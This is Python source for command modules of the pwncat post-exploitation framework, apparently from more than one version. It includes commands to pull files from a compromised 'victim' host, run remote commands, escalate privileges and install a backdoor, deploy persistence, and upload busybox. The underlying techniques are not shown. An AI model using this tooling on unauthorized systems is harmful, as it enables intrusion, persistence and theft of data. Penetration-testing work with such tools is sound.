class Command(CommandDefinition): """ Alias an existing command with a new name. Specifying no alias or command will list all aliases. Specifying an alias with no command will remove the alias if it exists. """ def get_command_names(self): return [c.PROG for c in pwncat.victim.command_parser.commands] PROG = "alias" ARGS = { "alias": parameter(Complete.NONE, help="name for the new alias", nargs="?"), "command": parameter( Complete.CHOICES, metavar="COMMAND", choices=get_command_names, help="the command the new alias will use", nargs="?", ), } LOCAL = True def run(self, args): if args.alias is None: for name, command in pwncat.victim.command_parser.aliases.items(): print(f" {Fore.CYAN}{name}{Fore.RESET} \u2192 " f"{Fore.YELLOW}{command.PROG}{Fore.RESET}") elif args.command is not None: # This is safe because of "choices" in the argparser pwncat.victim.command_parser.aliases[args.alias] = [ c for c in pwncat.victim.command_parser.commands if c.PROG == args.command ][0] else: del pwncat.victim.command_parser.aliases[args.alias]
class Command(CommandDefinition): """ Download a file from the remote host to the local host""" PROG = "download" ARGS = { "source": parameter(Complete.REMOTE_FILE), "destination": parameter(Complete.LOCAL_FILE), } def run(self, args): try: length = pwncat.victim.get_file_size(args.source) started = time.time() with open(args.destination, "wb") as destination: with pwncat.victim.open(args.source, "rb", length=length) as source: util.with_progress( [ ("", "downloading "), ("fg:ansigreen", args.source), ("", " to "), ("fg:ansired", args.destination), ], partial(util.copyfileobj, source, destination), length=length, ) elapsed = time.time() - started util.success( f"downloaded {Fore.CYAN}{util.human_readable_size(length)}{Fore.RESET} " f"in {Fore.GREEN}{util.human_readable_delta(elapsed)}{Fore.RESET}" ) except (FileNotFoundError, PermissionError, IsADirectoryError) as exc: self.parser.error(str(exc))
class Command(CommandDefinition): PROG = "bind" ARGS = { "key": parameter( Complete.NONE, metavar="KEY", type=KeyType, help="The key to map after your prefix", nargs="?", ), "script": parameter( Complete.NONE, help="The script to run when the key is pressed", nargs="?", ), } LOCAL = True def run(self, args): if args.key is None: util.info("currently assigned key-bindings:") for key, binding in pwncat.victim.config.bindings.items(): print( f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}" ) elif args.key is not None and args.script is None: if args.key in pwncat.victim.config.bindings: del pwncat.victim.config.bindings[args.key] else: pwncat.victim.config.bindings[args.key] = args.script
class Command(CommandDefinition): """ View and revert any logged tampers which pwncat has performed on the remote system. """ PROG = "tamper" ARGS = { "--tamper,-t": parameter( Complete.NONE, action=StoreForAction(["revert"]), type=int, help="Tamper ID to revert (IDs found in tamper list)", ), "--revert,-r": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="revert", help="Revert the selected tamper", ), "--list,-l": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="list", help="List all tampers currently logged by pwncat", ), } def run(self, args): if args.action == "revert": if args.tamper not in range(len(pwncat.victim.tamper.tampers)): self.parser.error("invalid tamper id") tamper = pwncat.victim.tamper.tampers[args.tamper] try: tamper.revert() pwncat.victim.tamper.tampers.pop(args.tamper) except RevertFailed as exc: util.error(f"revert failed: {exc}") else: for id, tamper in enumerate(pwncat.victim.tamper.tampers): print(f" {id} - {tamper}")
class Command(CommandDefinition): PROG = "shortcut" ARGS = { "prefix": parameter(Complete.NONE, help="the prefix character used for the shortcut"), "command": parameter(Complete.NONE, help="the command to execute"), } LOCAL = True def run(self, args): for command in pwncat.victim.command_parser.commands: if command.PROG == args.command: pwncat.victim.command_parser.shortcuts[args.prefix] = command return self.parser.error(f"{args.command}: no such command")
class Command(CommandDefinition): PROG = "run" ARGS = { "argv": parameter(Complete.NONE, nargs="+", help="The command to run on the remote host") } def run(self, args): sys.stdout.buffer.write(pwncat.victim.run(args.argv))
class Command(CommandDefinition): PROG = "local" ARGS = { "argv": parameter(Complete.NONE, nargs="+", help="the local shell command to run") } LOCAL = True def run(self, args): subprocess.run(args.argv, shell=True)
class Command(CommandDefinition): """ List known commands and print their associated help documentation. """ PROG = "help" ARGS = {"topic": parameter(Complete.NONE, nargs="?")} def run(self, args): if args.topic: for command in pwncat.victim.command_parser.commands: if command.PROG == args.topic: command.parser.print_help() break else: util.info("the following commands are available:") for command in pwncat.victim.command_parser.commands: print(f" * {command.PROG}")
class Command(CommandDefinition): PROG = "sysinfo" ARGS = { "--services,-s": parameter(Complete.NONE, action="store_true", help="List all services and their state") } def run(self, args): if args.services: for service in pwncat.victim.services: if service.running: print( f"{Fore.GREEN}{service.name}{Fore.RESET} - {service.description}" ) else: print( f"{Fore.RED}{service.name}{Fore.RESET} - {service.description}" ) else: print(f"Host ID: {Fore.CYAN}{pwncat.victim.host.hash}{Fore.RESET}") print( f"Remote Address: {Fore.GREEN}{pwncat.victim.client.getpeername()}{Fore.RESET}" ) print( f"Architecture: {Fore.RED}{pwncat.victim.host.arch}{Fore.RESET}" ) print( f"Kernel Version: {Fore.RED}{pwncat.victim.host.kernel}{Fore.RESET}" ) print( f"Distribution: {Fore.RED}{pwncat.victim.host.distro}{Fore.RESET}" ) print( f"Init System: {Fore.BLUE}{pwncat.victim.host.init}{Fore.RESET}" )
class Command(CommandDefinition): """ Attempt various privilege escalation methods. This command will attempt search for privilege escalation across all known modules. Privilege escalation routes can grant file read, file write or shell capabilities. The "escalate" mode will attempt to abuse any of these to gain a shell. Further, escalation and file read/write actions will attempt to escalate multiple times to reach the target user if possible, attempting all known escalation paths until one arrives at the target user. """ def get_user_choices(self): """ Get a list of all users on the remote machine. This is used for parameter checking and tab completion of the "users" parameter below. """ return list(pwncat.victim.users) PROG = "privesc" ARGS = { "--list,-l": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="list", dest="action", help="Enumerate and list available privesc techniques", ), "--all,-a": parameter( Complete.NONE, action="store_const", dest="user", const=None, help="list escalations for all users", ), "--user,-u": parameter( Complete.CHOICES, default="root", choices=get_user_choices, metavar="USER", help="the user to gain privileges as", ), "--max-depth,-m": parameter( Complete.NONE, default=None, type=int, help="Maximum depth for the privesc search (default: no maximum)", ), "--read,-r": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="read", dest="action", help="Attempt to read a remote file as the specified user", ), "--write,-w": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="write", dest="action", help="Attempt to write a remote file as the specified user", ), "--path,-p": parameter( Complete.REMOTE_FILE, action=StoreForAction(["write", "read"]), help="Remote path for read or write actions", ), "--escalate,-e": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="escalate", dest="action", help="Attempt to escalate to gain a full shell as the target user", ), "--data,-d": parameter( Complete.LOCAL_FILE, action=StoreForAction(["write"]), default=None, help="The local file to write to the remote file", ), } DEFAULTS = {"action": "list"} def run(self, args): if args.action == "list": techniques = pwncat.victim.privesc.search(args.user) if len(techniques) == 0: util.warn("no techniques found") else: for tech in techniques: util.info(f" - {tech}") elif args.action == "read": if not args.path: self.parser.error("missing required argument: --path") try: read_pipe, chain = pwncat.victim.privesc.read_file( args.path, args.user, args.max_depth) util.success("file successfully opened!") # Read the data from the pipe shutil.copyfileobj(read_pipe, sys.stdout.buffer) read_pipe.close() # Unwrap in case we had to privesc to get here pwncat.victim.privesc.unwrap(chain) except privesc.PrivescError as exc: util.error(f"read file failed: {exc}") elif args.action == "write": # Make sure the correct arguments are present if not args.path: self.parser.error("missing required argument: --path") if not args.data: self.parser.error("missing required argument: --data") # Read in the data file with open(args.data, "rb") as f: data = f.read() try: # Attempt to write the data to the remote file chain = pwncat.victim.privesc.write_file( args.path, data, target_user=args.user, depth=args.max_depth, ) pwncat.victim.privesc.unwrap(chain) util.success("file written successfully!") except privesc.PrivescError as exc: util.error(f"file write failed: {exc}") elif args.action == "escalate": try: chain = pwncat.victim.privesc.escalate(args.user, args.max_depth) ident = pwncat.victim.id backdoor = False if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0: util.progress( "EUID != UID. installing backdoor to complete privesc") try: pwncat.victim.privesc.add_backdoor() backdoor = True except privesc.PrivescError as exc: util.warn(f"backdoor installation failed: {exc}") util.success("privilege escalation succeeded using:") for i, (technique, _) in enumerate(chain): arrow = f"{Fore.YELLOW}\u2ba1{Fore.RESET} " print(f"{(i+1)*' '}{arrow}{technique}") if backdoor: print((f"{(len(chain)+1)*' '}{arrow}" f"{Fore.YELLOW}pwncat{Fore.RESET} backdoor")) pwncat.victim.reset() pwncat.victim.state = State.RAW except privesc.PrivescError as exc: util.error(f"escalation failed: {exc}")
class Command(CommandDefinition): """ Manage various persistence methods on the remote host """ def get_method_choices(self): return [method.name for method in pwncat.victim.persist] def get_user_choices(self): """ Get the user options """ current = pwncat.victim.current_user if current.id == 0: return [name for name in pwncat.victim.users] else: return [current.name] PROG = "persist" ARGS = { "--method,-m": parameter( Complete.CHOICES, metavar="METHOD", help="Select a persistence method to deploy", choices=get_method_choices, ), "--user,-u": parameter( Complete.CHOICES, metavar="USER", help= "For non-system persistence modules, the user to install as (only valid if currently UID 0)", choices=get_user_choices, ), "--status,-s": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="status", help="Check the status of the given persistence method", ), "--install,-i": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="install", help="Install the selected persistence method", ), "--list,-l": parameter( Complete.NONE, nargs=0, action=StoreConstOnce, dest="action", const="list", help="List all available persistence methods", ), "--remove,-r": parameter( Complete.NONE, nargs=0, action=StoreConstOnce, dest="action", const="remove", help="Remove the selected persistence method", ), "--clean,-c": parameter( Complete.NONE, nargs=0, action=StoreConstOnce, dest="action", const="clean", help="Remove all installed persistence methods", ), } DEFAULTS = {"action": "status"} # List of available persistence methods METHODS: Dict[str, Type["PersistenceMethod"]] = {} @property def installed_methods( self) -> Iterator[Tuple[str, str, PersistenceMethod]]: me = pwncat.victim.current_user for method in pwncat.victim.persist: if method.system and method.installed(): yield (method.name, None, method) elif not method.system: if me.id == 0: for user in pwncat.victim.users: util.progress(f"checking {method.name} for: {user}") if method.installed(user): util.erase_progress() yield (method.name, user, method) util.erase_progress() else: if method.installed(me.name): yield (method.name, me.name, method) def run(self, args): if args.action == "status": ninstalled = 0 for user, method in pwncat.victim.persist.installed: print(f" - {method.format(user)} installed") ninstalled += 1 if not ninstalled: util.warn("no persistence methods observed as " f"{Fore.GREEN}{pwncat.victim.whoami()}{Fore.RED}") return elif args.action == "list": if args.method: try: method = next(pwncat.victim.persist.find(args.method)) print(f"\033[4m{method.format()}{Style.RESET_ALL}") print( textwrap.indent(textwrap.dedent(method.__doc__), " ")) except StopIteration: util.error(f"{args.method}: no such persistence method") else: for method in pwncat.victim.persist: print(f" - {method.format()}") return elif args.action == "clean": util.progress("cleaning persistence methods: ") for user, method in pwncat.victim.persist.installed: try: util.progress( f"cleaning persistance methods: {method.format(user)}") pwncat.victim.persist.remove(method.name, user) util.success(f"removed {method.format(user)}") except PersistenceError as exc: util.erase_progress() util.warn( f"{method.format(user)}: removal failed: {exc}\n", overlay=True) util.erase_progress() return elif args.method is None: self.parser.error("no method specified") return # Grab the user we want to install the persistence as if args.user: user = args.user else: # Default is to install as current user user = pwncat.victim.whoami() try: if args.action == "install": pwncat.victim.persist.install(args.method, user) elif args.action == "remove": pwncat.victim.persist.remove(args.method, user) except PersistenceError as exc: util.error(f"{exc}")
class Command(CommandDefinition): """ Manage installation of a known-good busybox binary on the remote system. After installing busybox, pwncat will be able to utilize it's functionality to augment or stabilize local binaries. This command can download a remote busybox binary appropriate for the remote architecture and then upload it to the remote system. """ PROG = "busybox" ARGS = { "--list,-l": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="list", dest="action", help="List applets which the remote busybox provides", ), "--install,-i": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="install", dest="action", help="Install busybox on the remote host for use with pwncat", ), "--status,-s": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, const="status", dest="action", help="List the current busybox installation status", ), "--url,-u": parameter( Complete.NONE, action=StoreForAction(["install"]), nargs=1, help= "The base URL to download busybox binaries from (default: 1.31.0-defconfig-multiarch-musl)", default= ("https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/" ), ), } DEFAULTS = {"action": "status"} def run(self, args): if args.action == "list": if not pwncat.victim.has_busybox: util.error( "busybox hasn't been installed yet (hint: run 'busybox'") return util.info("binaries which the remote busybox provides:") for name in pwncat.victim.busybox_provides: print(f" * {name}") elif args.action == "status": if not pwncat.victim.has_busybox: util.error("busybox hasn't been installed yet") return util.info( f"busybox is installed to: {Fore.BLUE}{pwncat.victim.busybox_path}{Fore.RESET}" ) util.info( f"busybox provides {Fore.GREEN}{len(pwncat.victim.busybox_provides)}{Fore.RESET} applets" ) elif args.action == "install": pwncat.victim.bootstrap_busybox(args.url)
class Command(CommandDefinition): """ Set variable runtime variable parameters for pwncat """ def get_config_variables(self): return ["state"] + list(pwncat.victim.config.values) + list(pwncat.victim.users) PROG = "set" ARGS = { "--password,-p": parameter( Complete.NONE, action="store_true", help="set a user password", ), "variable": parameter( Complete.CHOICES, nargs="?", choices=get_config_variables, metavar="VARIABLE", help="the variable name to modify", ), "value": parameter( Complete.LOCAL_FILE, nargs="?", help="the value for the given variable" ), } LOCAL = True def run(self, args): if args.password: if args.variable is None: found = False for user, props in pwncat.victim.users.items(): if "password" in props and props["password"] is not None: print( f" - {Fore.GREEN}{user}{Fore.RESET} -> {Fore.RED}{repr(props['password'])}{Fore.RESET}" ) found = True if not found: util.warn("no known user passwords") else: if args.variable not in pwncat.victim.users: self.parser.error(f"{args.variable}: no such user") print( f" - {Fore.GREEN}{args.variable}{Fore.RESET} -> {Fore.RED}{repr(args.value)}{Fore.RESET}" ) pwncat.victim.users[args.variable]["password"] = args.value else: if ( args.variable is not None and args.variable == "state" and args.value is not None ): try: pwncat.victim.state = util.State._member_map_[args.value.upper()] except KeyError: util.error(f"{args.value}: invalid state") elif args.variable is not None and args.value is not None: try: pwncat.victim.config[args.variable] = args.value except ValueError as exc: util.error(str(exc)) elif args.variable is not None: value = pwncat.victim.config[args.variable] print( f" {Fore.CYAN}{args.variable}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}" ) else: for name in pwncat.victim.config: value = pwncat.victim.config[name] print( f" {Fore.CYAN}{name}{Fore.RESET} = " f"{Fore.YELLOW}{repr(value)}{Fore.RESET}" )
class Command(CommandDefinition): """ View and revert any logged tampers which pwncat has performed on the remote system. """ PROG = "tamper" ARGS = { "--tamper,-t": parameter( Complete.NONE, action=StoreForAction(["revert"]), type=int, help="Tamper ID to revert (IDs found in tamper list)", ), "--all,-a": parameter( Complete.NONE, action="store_true", help="Attempt to revert all tampered files", ), "--revert,-r": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="revert", help="Revert the selected tamper", ), "--list,-l": parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="list", help="List all tampers currently logged by pwncat", ), } def run(self, args): if args.action == "revert": if args.all: removed_tampers = [] util.progress(f"reverting tamper") for tamper in pwncat.victim.tamper: try: util.progress(f"reverting tamper: {tamper}") tamper.revert() removed_tampers.append(tamper) except RevertFailed as exc: util.warn(f"{tamper}: revert failed: {exc}") for tamper in removed_tampers: pwncat.victim.tamper.remove(tamper) util.success("tampers reverted!") pwncat.victim.session.commit() else: if args.tamper not in range(len(pwncat.victim.tamper)): self.parser.error("invalid tamper id") tamper = pwncat.victim.tamper[args.tamper] try: tamper.revert() pwncat.victim.tamper.remove(tamper) except RevertFailed as exc: util.error(f"revert failed: {exc}") pwncat.victim.session.commit() else: for id, tamper in enumerate(pwncat.victim.tamper): print(f" {id} - {tamper}")